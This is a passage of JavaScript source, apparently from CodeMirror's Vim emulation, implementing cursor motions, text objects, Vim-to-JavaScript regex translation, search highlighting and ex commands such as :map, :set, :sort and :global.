      var curStart = copyCursor(cur);
      var words = [];
      if (forward && !wordEnd || !forward && wordEnd) {
        repeat++;
      }
      // For 'e', empty lines are not considered words, go figure.
      var emptyLineIsWord = !(forward && wordEnd);
      for (var i = 0; i < repeat; i++) {
        var word = findWord(cm, cur, forward, bigWord, emptyLineIsWord);
        if (!word) {
          var eodCh = lineLength(cm, cm.lastLine());
          words.push(forward
              ? {line: cm.lastLine(), from: eodCh, to: eodCh}
              : {line: 0, from: 0, to: 0});
          break;
        }
        words.push(word);
        cur = Pos(word.line, forward ? (word.to - 1) : word.from);
      }
      var shortCircuit = words.length != repeat;
      var firstWord = words[0];
      var lastWord = words.pop();
      if (forward && !wordEnd) {
        // w
        if (!shortCircuit && (firstWord.from != curStart.ch || firstWord.line != curStart.line)) {
          // We did not start in the middle of a word. Discard the extra word at the end.
          lastWord = words.pop();
        }
        return Pos(lastWord.line, lastWord.from);
      } else if (forward && wordEnd) {
        return Pos(lastWord.line, lastWord.to - 1);
      } else if (!forward && wordEnd) {
        // ge
        if (!shortCircuit && (firstWord.to != curStart.ch || firstWord.line != curStart.line)) {
          // We did not start in the middle of a word. Discard the extra word at the end.
          lastWord = words.pop();
        }
        return Pos(lastWord.line, lastWord.to);
      } else {
        // b
        return Pos(lastWord.line, lastWord.from);
      }
    }

    function moveToCharacter(cm, repeat, forward, character) {
      var cur = cm.getCursor();
      var start = cur.ch;
      var idx;
      for (var i = 0; i < repeat; i ++) {
        var line = cm.getLine(cur.line);
        idx = charIdxInLine(start, line, character, forward, true);
        if (idx == -1) {
          return null;
        }
        start = idx;
      }
      return Pos(cm.getCursor().line, idx);
    }

    function moveToColumn(cm, repeat) {
      // repeat is always >= 1, so repeat - 1 always corresponds
      // to the column we want to go to.
      var line = cm.getCursor().line;
      return clipCursorToContent(cm, Pos(line, repeat - 1));
    }

    function updateMark(cm, vim, markName, pos) {
      if (!inArray(markName, validMarks)) {
        return;
      }
      if (vim.marks[markName]) {
        vim.marks[markName].clear();
      }
      vim.marks[markName] = cm.setBookmark(pos);
    }

    function charIdxInLine(start, line, character, forward, includeChar) {
      // Search for char in line.
      // motion_options: {forward, includeChar}
      // If includeChar = true, include it too.
      // If forward = true, search forward, else search backwards.
      // If char is not found on this line, do nothing
      var idx;
      if (forward) {
        idx = line.indexOf(character, start + 1);
        if (idx != -1 && !includeChar) {
          idx -= 1;
        }
      } else {
        idx = line.lastIndexOf(character, start - 1);
        if (idx != -1 && !includeChar) {
          idx += 1;
        }
      }
      return idx;
    }

    function findParagraph(cm, head, repeat, dir, inclusive) {
      var line = head.line;
      var min = cm.firstLine();
      var max = cm.lastLine();
      var start, end, i = line;
      function isEmpty(i) { return !cm.getLine(i); }
      function isBoundary(i, dir, any) {
        if (any) { return isEmpty(i) != isEmpty(i + dir); }
        return !isEmpty(i) && isEmpty(i + dir);
      }
      if (dir) {
        while (min <= i && i <= max && repeat > 0) {
          if (isBoundary(i, dir)) { repeat--; }
          i += dir;
        }
        return new Pos(i, 0);
      }

      var vim = cm.state.vim;
      if (vim.visualLine && isBoundary(line, 1, true)) {
        var anchor = vim.sel.anchor;
        if (isBoundary(anchor.line, -1, true)) {
          if (!inclusive || anchor.line != line) {
            line += 1;
          }
        }
      }
      var startState = isEmpty(line);
      for (i = line; i <= max && repeat; i++) {
        if (isBoundary(i, 1, true)) {
          if (!inclusive || isEmpty(i) != startState) {
            repeat--;
          }
        }
      }
      end = new Pos(i, 0);
      // select boundary before paragraph for the last one
      if (i > max && !startState) { startState = true; }
      else { inclusive = false; }
      for (i = line; i > min; i--) {
        if (!inclusive || isEmpty(i) == startState || i == line) {
          if (isBoundary(i, -1, true)) { break; }
        }
      }
      start = new Pos(i, 0);
      return { start: start, end: end };
    }

    // TODO: perhaps this finagling of start and end positions belonds
    // in codmirror/replaceRange?
    function selectCompanionObject(cm, head, symb, inclusive) {
      var cur = head, start, end;

      var bracketRegexp = ({
        '(': /[()]/, ')': /[()]/,
        '[': /[[\]]/, ']': /[[\]]/,
        '{': /[{}]/, '}': /[{}]/})[symb];
      var openSym = ({
        '(': '(', ')': '(',
        '[': '[', ']': '[',
        '{': '{', '}': '{'})[symb];
      var curChar = cm.getLine(cur.line).charAt(cur.ch);
      // Due to the behavior of scanForBracket, we need to add an offset if the
      // cursor is on a matching open bracket.
      var offset = curChar === openSym ? 1 : 0;

      start = cm.scanForBracket(Pos(cur.line, cur.ch + offset), -1, null, {'bracketRegex': bracketRegexp});
      end = cm.scanForBracket(Pos(cur.line, cur.ch + offset), 1, null, {'bracketRegex': bracketRegexp});

      if (!start || !end) {
        return { start: cur, end: cur };
      }

      start = start.pos;
      end = end.pos;

      if ((start.line == end.line && start.ch > end.ch)
          || (start.line > end.line)) {
        var tmp = start;
        start = end;
        end = tmp;
      }

      if (inclusive) {
        end.ch += 1;
      } else {
        start.ch += 1;
      }

      return { start: start, end: end };
    }

    // Takes in a symbol and a cursor and tries to simulate text objects that
    // have identical opening and closing symbols
    // TODO support across multiple lines
    function findBeginningAndEnd(cm, head, symb, inclusive) {
      var cur = copyCursor(head);
      var line = cm.getLine(cur.line);
      var chars = line.split('');
      var start, end, i, len;
      var firstIndex = chars.indexOf(symb);

      // the decision tree is to always look backwards for the beginning first,
      // but if the cursor is in front of the first instance of the symb,
      // then move the cursor forward
      if (cur.ch < firstIndex) {
        cur.ch = firstIndex;
        // Why is this line even here???
        // cm.setCursor(cur.line, firstIndex+1);
      }
      // otherwise if the cursor is currently on the closing symbol
      else if (firstIndex < cur.ch && chars[cur.ch] == symb) {
        end = cur.ch; // assign end to the current cursor
        --cur.ch; // make sure to look backwards
      }

      // if we're currently on the symbol, we've got a start
      if (chars[cur.ch] == symb && !end) {
        start = cur.ch + 1; // assign start to ahead of the cursor
      } else {
        // go backwards to find the start
        for (i = cur.ch; i > -1 && !start; i--) {
          if (chars[i] == symb) {
            start = i + 1;
          }
        }
      }

      // look forwards for the end symbol
      if (start && !end) {
        for (i = start, len = chars.length; i < len && !end; i++) {
          if (chars[i] == symb) {
            end = i;
          }
        }
      }

      // nothing found
      if (!start || !end) {
        return { start: cur, end: cur };
      }

      // include the symbols
      if (inclusive) {
        --start; ++end;
      }

      return {
        start: Pos(cur.line, start),
        end: Pos(cur.line, end)
      };
    }

    // Search functions
    defineOption('pcre', true, 'boolean');
    function SearchState() {}
    SearchState.prototype = {
      getQuery: function() {
        return vimGlobalState.query;
      },
      setQuery: function(query) {
        vimGlobalState.query = query;
      },
      getOverlay: function() {
        return this.searchOverlay;
      },
      setOverlay: function(overlay) {
        this.searchOverlay = overlay;
      },
      isReversed: function() {
        return vimGlobalState.isReversed;
      },
      setReversed: function(reversed) {
        vimGlobalState.isReversed = reversed;
      },
      getScrollbarAnnotate: function() {
        return this.annotate;
      },
      setScrollbarAnnotate: function(annotate) {
        this.annotate = annotate;
      }
    };
    function getSearchState(cm) {
      var vim = cm.state.vim;
      return vim.searchState_ || (vim.searchState_ = new SearchState());
    }
    function dialog(cm, template, shortText, onClose, options) {
      if (cm.openDialog) {
        cm.openDialog(template, onClose, { bottom: true, value: options.value,
            onKeyDown: options.onKeyDown, onKeyUp: options.onKeyUp,
            selectValueOnOpen: false});
      }
      else {
        onClose(prompt(shortText, ''));
      }
    }
    function splitBySlash(argString) {
      var slashes = findUnescapedSlashes(argString) || [];
      if (!slashes.length) return [];
      var tokens = [];
      // in case of strings like foo/bar
      if (slashes[0] !== 0) return;
      for (var i = 0; i < slashes.length; i++) {
        if (typeof slashes[i] == 'number')
          tokens.push(argString.substring(slashes[i] + 1, slashes[i+1]));
      }
      return tokens;
    }

    function findUnescapedSlashes(str) {
      var escapeNextChar = false;
      var slashes = [];
      for (var i = 0; i < str.length; i++) {
        var c = str.charAt(i);
        if (!escapeNextChar && c == '/') {
          slashes.push(i);
        }
        escapeNextChar = !escapeNextChar && (c == '\\');
      }
      return slashes;
    }

    // Translates a search string from ex (vim) syntax into javascript form.
    function translateRegex(str) {
      // When these match, add a '\' if unescaped or remove one if escaped.
      var specials = '|(){';
      // Remove, but never add, a '\' for these.
      var unescape = '}';
      var escapeNextChar = false;
      var out = [];
      for (var i = -1; i < str.length; i++) {
        var c = str.charAt(i) || '';
        var n = str.charAt(i+1) || '';
        var specialComesNext = (n && specials.indexOf(n) != -1);
        if (escapeNextChar) {
          if (c !== '\\' || !specialComesNext) {
            out.push(c);
          }
          escapeNextChar = false;
        } else {
          if (c === '\\') {
            escapeNextChar = true;
            // Treat the unescape list as special for removing, but not adding '\'.
            if (n && unescape.indexOf(n) != -1) {
              specialComesNext = true;
            }
            // Not passing this test means removing a '\'.
            if (!specialComesNext || n === '\\') {
              out.push(c);
            }
          } else {
            out.push(c);
            if (specialComesNext && n !== '\\') {
              out.push('\\');
            }
          }
        }
      }
      return out.join('');
    }

    // Translates the replace part of a search and replace from ex (vim) syntax into
    // javascript form.  Similar to translateRegex, but additionally fixes back references
    // (translates '\[0..9]' to '$[0..9]') and follows different rules for escaping '$'.
    var charUnescapes = {'\\n': '\n', '\\r': '\r', '\\t': '\t'};
    function translateRegexReplace(str) {
      var escapeNextChar = false;
      var out = [];
      for (var i = -1; i < str.length; i++) {
        var c = str.charAt(i) || '';
        var n = str.charAt(i+1) || '';
        if (charUnescapes[c + n]) {
          out.push(charUnescapes[c+n]);
          i++;
        } else if (escapeNextChar) {
          // At any point in the loop, escapeNextChar is true if the previous
          // character was a '\' and was not escaped.
          out.push(c);
          escapeNextChar = false;
        } else {
          if (c === '\\') {
            escapeNextChar = true;
            if ((isNumber(n) || n === '$')) {
              out.push('$');
            } else if (n !== '/' && n !== '\\') {
              out.push('\\');
            }
          } else {
            if (c === '$') {
              out.push('$');
            }
            out.push(c);
            if (n === '/') {
              out.push('\\');
            }
          }
        }
      }
      return out.join('');
    }

    // Unescape \ and / in the replace part, for PCRE mode.
    var unescapes = {'\\/': '/', '\\\\': '\\', '\\n': '\n', '\\r': '\r', '\\t': '\t'};
    function unescapeRegexReplace(str) {
      var stream = new CodeMirror.StringStream(str);
      var output = [];
      while (!stream.eol()) {
        // Search for \.
        while (stream.peek() && stream.peek() != '\\') {
          output.push(stream.next());
        }
        var matched = false;
        for (var matcher in unescapes) {
          if (stream.match(matcher, true)) {
            matched = true;
            output.push(unescapes[matcher]);
            break;
          }
        }
        if (!matched) {
          // Don't change anything
          output.push(stream.next());
        }
      }
      return output.join('');
    }

    /**
     * Extract the regular expression from the query and return a Regexp object.
     * Returns null if the query is blank.
     * If ignoreCase is passed in, the Regexp object will have the 'i' flag set.
     * If smartCase is passed in, and the query contains upper case letters,
     *   then ignoreCase is overridden, and the 'i' flag will not be set.
     * If the query contains the /i in the flag part of the regular expression,
     *   then both ignoreCase and smartCase are ignored, and 'i' will be passed
     *   through to the Regex object.
     */
    function parseQuery(query, ignoreCase, smartCase) {
      // First update the last search register
      var lastSearchRegister = vimGlobalState.registerController.getRegister('/');
      lastSearchRegister.setText(query);
      // Check if the query is already a regex.
      if (query instanceof RegExp) { return query; }
      // First try to extract regex + flags from the input. If no flags found,
      // extract just the regex. IE does not accept flags directly defined in
      // the regex string in the form /regex/flags
      var slashes = findUnescapedSlashes(query);
      var regexPart;
      var forceIgnoreCase;
      if (!slashes.length) {
        // Query looks like 'regexp'
        regexPart = query;
      } else {
        // Query looks like 'regexp/...'
        regexPart = query.substring(0, slashes[0]);
        var flagsPart = query.substring(slashes[0]);
        forceIgnoreCase = (flagsPart.indexOf('i') != -1);
      }
      if (!regexPart) {
        return null;
      }
      if (!getOption('pcre')) {
        regexPart = translateRegex(regexPart);
      }
      if (smartCase) {
        ignoreCase = (/^[^A-Z]*$/).test(regexPart);
      }
      var regexp = new RegExp(regexPart,
          (ignoreCase || forceIgnoreCase) ? 'i' : undefined);
      return regexp;
    }
    function showConfirm(cm, text) {
      if (cm.openNotification) {
        cm.openNotification('<span style="color: red">' + text + '</span>',
                            {bottom: true, duration: 5000});
      } else {
        alert(text);
      }
    }
    function makePrompt(prefix, desc) {
      var raw = '';
      if (prefix) {
        raw += '<span style="font-family: monospace">' + prefix + '</span>';
      }
      raw += '<input type="text"/> ' +
          '<span style="color: #888">';
      if (desc) {
        raw += '<span style="color: #888">';
        raw += desc;
        raw += '</span>';
      }
      return raw;
    }
    var searchPromptDesc = '(Javascript regexp)';
    function showPrompt(cm, options) {
      var shortText = (options.prefix || '') + ' ' + (options.desc || '');
      var prompt = makePrompt(options.prefix, options.desc);
      dialog(cm, prompt, shortText, options.onClose, options);
    }
    function regexEqual(r1, r2) {
      if (r1 instanceof RegExp && r2 instanceof RegExp) {
          var props = ['global', 'multiline', 'ignoreCase', 'source'];
          for (var i = 0; i < props.length; i++) {
              var prop = props[i];
              if (r1[prop] !== r2[prop]) {
                  return false;
              }
          }
          return true;
      }
      return false;
    }
    // Returns true if the query is valid.
    function updateSearchQuery(cm, rawQuery, ignoreCase, smartCase) {
      if (!rawQuery) {
        return;
      }
      var state = getSearchState(cm);
      var query = parseQuery(rawQuery, !!ignoreCase, !!smartCase);
      if (!query) {
        return;
      }
      highlightSearchMatches(cm, query);
      if (regexEqual(query, state.getQuery())) {
        return query;
      }
      state.setQuery(query);
      return query;
    }
    function searchOverlay(query) {
      if (query.source.charAt(0) == '^') {
        var matchSol = true;
      }
      return {
        token: function(stream) {
          if (matchSol && !stream.sol()) {
            stream.skipToEnd();
            return;
          }
          var match = stream.match(query, false);
          if (match) {
            if (match[0].length == 0) {
              // Matched empty string, skip to next.
              stream.next();
              return 'searching';
            }
            if (!stream.sol()) {
              // Backtrack 1 to match \b
              stream.backUp(1);
              if (!query.exec(stream.next() + match[0])) {
                stream.next();
                return null;
              }
            }
            stream.match(query);
            return 'searching';
          }
          while (!stream.eol()) {
            stream.next();
            if (stream.match(query, false)) break;
          }
        },
        query: query
      };
    }
    function highlightSearchMatches(cm, query) {
      var searchState = getSearchState(cm);
      var overlay = searchState.getOverlay();
      if (!overlay || query != overlay.query) {
        if (overlay) {
          cm.removeOverlay(overlay);
        }
        overlay = searchOverlay(query);
        cm.addOverlay(overlay);
        if (cm.showMatchesOnScrollbar) {
          if (searchState.getScrollbarAnnotate()) {
            searchState.getScrollbarAnnotate().clear();
          }
          searchState.setScrollbarAnnotate(cm.showMatchesOnScrollbar(query));
        }
        searchState.setOverlay(overlay);
      }
    }
    function findNext(cm, prev, query, repeat) {
      if (repeat === undefined) { repeat = 1; }
      return cm.operation(function() {
        var pos = cm.getCursor();
        var cursor = cm.getSearchCursor(query, pos);
        for (var i = 0; i < repeat; i++) {
          var found = cursor.find(prev);
          if (i == 0 && found && cursorEqual(cursor.from(), pos)) { found = cursor.find(prev); }
          if (!found) {
            // SearchCursor may have returned null because it hit EOF, wrap
            // around and try again.
            cursor = cm.getSearchCursor(query,
                (prev) ? Pos(cm.lastLine()) : Pos(cm.firstLine(), 0) );
            if (!cursor.find(prev)) {
              return;
            }
          }
        }
        return cursor.from();
      });
    }
    function clearSearchHighlight(cm) {
      var state = getSearchState(cm);
      cm.removeOverlay(getSearchState(cm).getOverlay());
      state.setOverlay(null);
      if (state.getScrollbarAnnotate()) {
        state.getScrollbarAnnotate().clear();
        state.setScrollbarAnnotate(null);
      }
    }
    /**
     * Check if pos is in the specified range, INCLUSIVE.
     * Range can be specified with 1 or 2 arguments.
     * If the first range argument is an array, treat it as an array of line
     * numbers. Match pos against any of the lines.
     * If the first range argument is a number,
     *   if there is only 1 range argument, check if pos has the same line
     *       number
     *   if there are 2 range arguments, then check if pos is in between the two
     *       range arguments.
     */
    function isInRange(pos, start, end) {
      if (typeof pos != 'number') {
        // Assume it is a cursor position. Get the line number.
        pos = pos.line;
      }
      if (start instanceof Array) {
        return inArray(pos, start);
      } else {
        if (end) {
          return (pos >= start && pos <= end);
        } else {
          return pos == start;
        }
      }
    }
    function getUserVisibleLines(cm) {
      var scrollInfo = cm.getScrollInfo();
      var occludeToleranceTop = 6;
      var occludeToleranceBottom = 10;
      var from = cm.coordsChar({left:0, top: occludeToleranceTop + scrollInfo.top}, 'local');
      var bottomY = scrollInfo.clientHeight - occludeToleranceBottom + scrollInfo.top;
      var to = cm.coordsChar({left:0, top: bottomY}, 'local');
      return {top: from.line, bottom: to.line};
    }

    var ExCommandDispatcher = function() {
      this.buildCommandMap_();
    };
    ExCommandDispatcher.prototype = {
      processCommand: function(cm, input, opt_params) {
        var that = this;
        cm.operation(function () {
          cm.curOp.isVimOp = true;
          that._processCommand(cm, input, opt_params);
        });
      },
      _processCommand: function(cm, input, opt_params) {
        var vim = cm.state.vim;
        var commandHistoryRegister = vimGlobalState.registerController.getRegister(':');
        var previousCommand = commandHistoryRegister.toString();
        if (vim.visualMode) {
          exitVisualMode(cm);
        }
        var inputStream = new CodeMirror.StringStream(input);
        // update ": with the latest command whether valid or invalid
        commandHistoryRegister.setText(input);
        var params = opt_params || {};
        params.input = input;
        try {
          this.parseInput_(cm, inputStream, params);
        } catch(e) {
          showConfirm(cm, e);
          throw e;
        }
        var command;
        var commandName;
        if (!params.commandName) {
          // If only a line range is defined, move to the line.
          if (params.line !== undefined) {
            commandName = 'move';
          }
        } else {
          command = this.matchCommand_(params.commandName);
          if (command) {
            commandName = command.name;
            if (command.excludeFromCommandHistory) {
              commandHistoryRegister.setText(previousCommand);
            }
            this.parseCommandArgs_(inputStream, params, command);
            if (command.type == 'exToKey') {
              // Handle Ex to Key mapping.
              for (var i = 0; i < command.toKeys.length; i++) {
                CodeMirror.Vim.handleKey(cm, command.toKeys[i], 'mapping');
              }
              return;
            } else if (command.type == 'exToEx') {
              // Handle Ex to Ex mapping.
              this.processCommand(cm, command.toInput);
              return;
            }
          }
        }
        if (!commandName) {
          showConfirm(cm, 'Not an editor command ":' + input + '"');
          return;
        }
        try {
          exCommands[commandName](cm, params);
          // Possibly asynchronous commands (e.g. substitute, which might have a
          // user confirmation), are responsible for calling the callback when
          // done. All others have it taken care of for them here.
          if ((!command || !command.possiblyAsync) && params.callback) {
            params.callback();
          }
        } catch(e) {
          showConfirm(cm, e);
          throw e;
        }
      },
      parseInput_: function(cm, inputStream, result) {
        inputStream.eatWhile(':');
        // Parse range.
        if (inputStream.eat('%')) {
          result.line = cm.firstLine();
          result.lineEnd = cm.lastLine();
        } else {
          result.line = this.parseLineSpec_(cm, inputStream);
          if (result.line !== undefined && inputStream.eat(',')) {
            result.lineEnd = this.parseLineSpec_(cm, inputStream);
          }
        }

        // Parse command name.
        var commandMatch = inputStream.match(/^(\w+)/);
        if (commandMatch) {
          result.commandName = commandMatch[1];
        } else {
          result.commandName = inputStream.match(/.*/)[0];
        }

        return result;
      },
      parseLineSpec_: function(cm, inputStream) {
        var numberMatch = inputStream.match(/^(\d+)/);
        if (numberMatch) {
          return parseInt(numberMatch[1], 10) - 1;
        }
        switch (inputStream.next()) {
          case '.':
            return cm.getCursor().line;
          case '$':
            return cm.lastLine();
          case '\'':
            var mark = cm.state.vim.marks[inputStream.next()];
            if (mark && mark.find()) {
              return mark.find().line;
            }
            throw new Error('Mark not set');
          default:
            inputStream.backUp(1);
            return undefined;
        }
      },
      parseCommandArgs_: function(inputStream, params, command) {
        if (inputStream.eol()) {
          return;
        }
        params.argString = inputStream.match(/.*/)[0];
        // Parse command-line arguments
        var delim = command.argDelimiter || /\s+/;
        var args = trim(params.argString).split(delim);
        if (args.length && args[0]) {
          params.args = args;
        }
      },
      matchCommand_: function(commandName) {
        // Return the command in the command map that matches the shortest
        // prefix of the passed in command name. The match is guaranteed to be
        // unambiguous if the defaultExCommandMap's shortNames are set up
        // correctly. (see @code{defaultExCommandMap}).
        for (var i = commandName.length; i > 0; i--) {
          var prefix = commandName.substring(0, i);
          if (this.commandMap_[prefix]) {
            var command = this.commandMap_[prefix];
            if (command.name.indexOf(commandName) === 0) {
              return command;
            }
          }
        }
        return null;
      },
      buildCommandMap_: function() {
        this.commandMap_ = {};
        for (var i = 0; i < defaultExCommandMap.length; i++) {
          var command = defaultExCommandMap[i];
          var key = command.shortName || command.name;
          this.commandMap_[key] = command;
        }
      },
      map: function(lhs, rhs, ctx) {
        if (lhs != ':' && lhs.charAt(0) == ':') {
          if (ctx) { throw Error('Mode not supported for ex mappings'); }
          var commandName = lhs.substring(1);
          if (rhs != ':' && rhs.charAt(0) == ':') {
            // Ex to Ex mapping
            this.commandMap_[commandName] = {
              name: commandName,
              type: 'exToEx',
              toInput: rhs.substring(1),
              user: true
            };
          } else {
            // Ex to key mapping
            this.commandMap_[commandName] = {
              name: commandName,
              type: 'exToKey',
              toKeys: rhs,
              user: true
            };
          }
        } else {
          if (rhs != ':' && rhs.charAt(0) == ':') {
            // Key to Ex mapping.
            var mapping = {
              keys: lhs,
              type: 'keyToEx',
              exArgs: { input: rhs.substring(1) },
              user: true};
            if (ctx) { mapping.context = ctx; }
            defaultKeymap.unshift(mapping);
          } else {
            // Key to key mapping
            var mapping = {
              keys: lhs,
              type: 'keyToKey',
              toKeys: rhs,
              user: true
            };
            if (ctx) { mapping.context = ctx; }
            defaultKeymap.unshift(mapping);
          }
        }
      },
      unmap: function(lhs, ctx) {
        if (lhs != ':' && lhs.charAt(0) == ':') {
          // Ex to Ex or Ex to key mapping
          if (ctx) { throw Error('Mode not supported for ex mappings'); }
          var commandName = lhs.substring(1);
          if (this.commandMap_[commandName] && this.commandMap_[commandName].user) {
            delete this.commandMap_[commandName];
            return;
          }
        } else {
          // Key to Ex or key to key mapping
          var keys = lhs;
          for (var i = 0; i < defaultKeymap.length; i++) {
            if (keys == defaultKeymap[i].keys
                && defaultKeymap[i].context === ctx
                && defaultKeymap[i].user) {
              defaultKeymap.splice(i, 1);
              return;
            }
          }
        }
        throw Error('No such mapping.');
      }
    };

    var exCommands = {
      colorscheme: function(cm, params) {
        if (!params.args || params.args.length < 1) {
          showConfirm(cm, cm.getOption('theme'));
          return;
        }
        cm.setOption('theme', params.args[0]);
      },
      map: function(cm, params, ctx) {
        var mapArgs = params.args;
        if (!mapArgs || mapArgs.length < 2) {
          if (cm) {
            showConfirm(cm, 'Invalid mapping: ' + params.input);
          }
          return;
        }
        exCommandDispatcher.map(mapArgs[0], mapArgs[1], ctx);
      },
      imap: function(cm, params) { this.map(cm, params, 'insert'); },
      nmap: function(cm, params) { this.map(cm, params, 'normal'); },
      vmap: function(cm, params) { this.map(cm, params, 'visual'); },
      unmap: function(cm, params, ctx) {
        var mapArgs = params.args;
        if (!mapArgs || mapArgs.length < 1) {
          if (cm) {
            showConfirm(cm, 'No such mapping: ' + params.input);
          }
          return;
        }
        exCommandDispatcher.unmap(mapArgs[0], ctx);
      },
      move: function(cm, params) {
        commandDispatcher.processCommand(cm, cm.state.vim, {
            type: 'motion',
            motion: 'moveToLineOrEdgeOfDocument',
            motionArgs: { forward: false, explicitRepeat: true,
              linewise: true },
            repeatOverride: params.line+1});
      },
      set: function(cm, params) {
        var setArgs = params.args;
        // Options passed through to the setOption/getOption calls. May be passed in by the
        // local/global versions of the set command
        var setCfg = params.setCfg || {};
        if (!setArgs || setArgs.length < 1) {
          if (cm) {
            showConfirm(cm, 'Invalid mapping: ' + params.input);
          }
          return;
        }
        var expr = setArgs[0].split('=');
        var optionName = expr[0];
        var value = expr[1];
        var forceGet = false;

        if (optionName.charAt(optionName.length - 1) == '?') {
          // If post-fixed with ?, then the set is actually a get.
          if (value) { throw Error('Trailing characters: ' + params.argString); }
          optionName = optionName.substring(0, optionName.length - 1);
          forceGet = true;
        }
        if (value === undefined && optionName.substring(0, 2) == 'no') {
          // To set boolean options to false, the option name is prefixed with
          // 'no'.
          optionName = optionName.substring(2);
          value = false;
        }

        var optionIsBoolean = options[optionName] && options[optionName].type == 'boolean';
        if (optionIsBoolean && value == undefined) {
          // Calling set with a boolean option sets it to true.
          value = true;
        }
        // If no value is provided, then we assume this is a get.
        if (!optionIsBoolean && value === undefined || forceGet) {
          var oldValue = getOption(optionName, cm, setCfg);
          if (oldValue === true || oldValue === false) {
            showConfirm(cm, ' ' + (oldValue ? '' : 'no') + optionName);
          } else {
            showConfirm(cm, '  ' + optionName + '=' + oldValue);
          }
        } else {
          setOption(optionName, value, cm, setCfg);
        }
      },
      setlocal: function (cm, params) {
        // setCfg is passed through to setOption
        params.setCfg = {scope: 'local'};
        this.set(cm, params);
      },
      setglobal: function (cm, params) {
        // setCfg is passed through to setOption
        params.setCfg = {scope: 'global'};
        this.set(cm, params);
      },
      registers: function(cm, params) {
        var regArgs = params.args;
        var registers = vimGlobalState.registerController.registers;
        var regInfo = '----------Registers----------<br><br>';
        if (!regArgs) {
          for (var registerName in registers) {
            var text = registers[registerName].toString();
            if (text.length) {
              regInfo += '"' + registerName + '    ' + text + '<br>';
            }
          }
        } else {
          var registerName;
          regArgs = regArgs.join('');
          for (var i = 0; i < regArgs.length; i++) {
            registerName = regArgs.charAt(i);
            if (!vimGlobalState.registerController.isValidRegister(registerName)) {
              continue;
            }
            var register = registers[registerName] || new Register();
            regInfo += '"' + registerName + '    ' + register.toString() + '<br>';
          }
        }
        showConfirm(cm, regInfo);
      },
      sort: function(cm, params) {
        var reverse, ignoreCase, unique, number;
        function parseArgs() {
          if (params.argString) {
            var args = new CodeMirror.StringStream(params.argString);
            if (args.eat('!')) { reverse = true; }
            if (args.eol()) { return; }
            if (!args.eatSpace()) { return 'Invalid arguments'; }
            var opts = args.match(/[a-z]+/);
            if (opts) {
              opts = opts[0];
              ignoreCase = opts.indexOf('i') != -1;
              unique = opts.indexOf('u') != -1;
              var decimal = opts.indexOf('d') != -1 && 1;
              var hex = opts.indexOf('x') != -1 && 1;
              var octal = opts.indexOf('o') != -1 && 1;
              if (decimal + hex + octal > 1) { return 'Invalid arguments'; }
              number = decimal && 'decimal' || hex && 'hex' || octal && 'octal';
            }
            if (args.match(/\/.*\//)) { return 'patterns not supported'; }
          }
        }
        var err = parseArgs();
        if (err) {
          showConfirm(cm, err + ': ' + params.argString);
          return;
        }
        var lineStart = params.line || cm.firstLine();
        var lineEnd = params.lineEnd || params.line || cm.lastLine();
        if (lineStart == lineEnd) { return; }
        var curStart = Pos(lineStart, 0);
        var curEnd = Pos(lineEnd, lineLength(cm, lineEnd));
        var text = cm.getRange(curStart, curEnd).split('\n');
        var numberRegex = (number == 'decimal') ? /(-?)([\d]+)/ :
           (number == 'hex') ? /(-?)(?:0x)?([0-9a-f]+)/i :
           (number == 'octal') ? /([0-7]+)/ : null;
        var radix = (number == 'decimal') ? 10 : (number == 'hex') ? 16 : (number == 'octal') ? 8 : null;
        var numPart = [], textPart = [];
        if (number) {
          for (var i = 0; i < text.length; i++) {
            if (numberRegex.exec(text[i])) {
              numPart.push(text[i]);
            } else {
              textPart.push(text[i]);
            }
          }
        } else {
          textPart = text;
        }
        function compareFn(a, b) {
          if (reverse) { var tmp; tmp = a; a = b; b = tmp; }
          if (ignoreCase) { a = a.toLowerCase(); b = b.toLowerCase(); }
          var anum = number && numberRegex.exec(a);
          var bnum = number && numberRegex.exec(b);
          if (!anum) { return a < b ? -1 : 1; }
          anum = parseInt((anum[1] + anum[2]).toLowerCase(), radix);
          bnum = parseInt((bnum[1] + bnum[2]).toLowerCase(), radix);
          return anum - bnum;
        }
        numPart.sort(compareFn);
        textPart.sort(compareFn);
        text = (!reverse) ? textPart.concat(numPart) : numPart.concat(textPart);
        if (unique) { // Remove duplicate lines
          var textOld = text;
          var lastLine;
          text = [];
          for (var i = 0; i < textOld.length; i++) {
            if (textOld[i] != lastLine) {
              text.push(textOld[i]);
            }
            lastLine = textOld[i];
          }
        }
        cm.replaceRange(text.join('\n'), curStart, curEnd);
      },
      global: function(cm, params) {
        // a global command is of the form
        // :[range]g/pattern/[cmd]
        // argString holds the string /pattern/[cmd]
        var argString = params.argString;
        if (!argString) {
          showConfirm(cm, 'Regular Expression missing from global');
          return;
        }
        // range is specified here
        var lineStart = (params.line !== undefined) ? params.line : cm.firstLine();
        var lineEnd = params.lineEnd || params.line || cm.lastLine();
        // get the tokens from argString
        var tokens = splitBySlash(argString);
        var regexPart = argString, cmd;
        if (tokens.length) {
          regexPart = tokens[0];
          cmd = tokens.slice(1, tokens.length).join('/');
        }
        if (regexPart) {
          // If regex part is empty, then use the previous query. Otherwise
          // use the regex part as the new query.
          try {
           updateSearchQuery(cm, regexPart, true /** ignoreCase */,
             true /** smartCase */);
          } catch (e) {
           showConfirm(cm, 'Invalid regex: ' + regexPart);
           return;
          }
        }
        // now that we have the regexPart, search for regex matches in the
        // specified range of lines
        var query = getSearchState(cm).getQuery();
        var matchedLines = [], content = '';
        for (var i = lineStart; i <= lineEnd; i++) {
          var matched = query.test(cm.getLine(i));
          if (matched) {
            matchedLines.push(i+1);
            content+= cm.getLine(i) + '<br>';
          }
        }
        // if there is no [cmd], just display the list of matched lines
        if (!cmd) {
          showConfirm(cm, content);
          return;
        }
        var index = 0;
        var nextCommand = function() {
          if (index < matchedLines.length) {
            var command = matchedLines[index] + cmd;
            exCommandDispatcher.processCommand(cm, command, {
              callback: nextCommand
            });
          }
          index++;
        };
        nextCommand();
      },
      substitute: function(cm, params) {
        if (!cm.getSearchCursor) {
          throw new Error('Search feature not available. Requires searchcursor.js or ' +
              'any other getSearchCursor implementation.');
        }
        var argString = params.argString;
        var tokens = argString ? splitBySlash(argString) : [];
        var regexPart, replacePart = '', trailing, flagsPart, count;
        var confirm = false; // Whether to confirm each replace.
        var global = false; // True to replace all instances on a line, false to replace only 1.
        if (tokens.length) {
          regexPart = tokens[0];
          replacePart = tokens[1];
          if (replacePart !== undefined) {
            if (getOption('pcre')) {
              replacePart = unescapeRegexReplace(replacePart);
            } else {
              replacePart = translateRegexReplace(replacePart);
            }
            vimGlobalState.lastSubstituteReplacePart = replacePart;
          }
          trailing = tokens[2] ? tokens[2].split(' ') : [];
        } else {
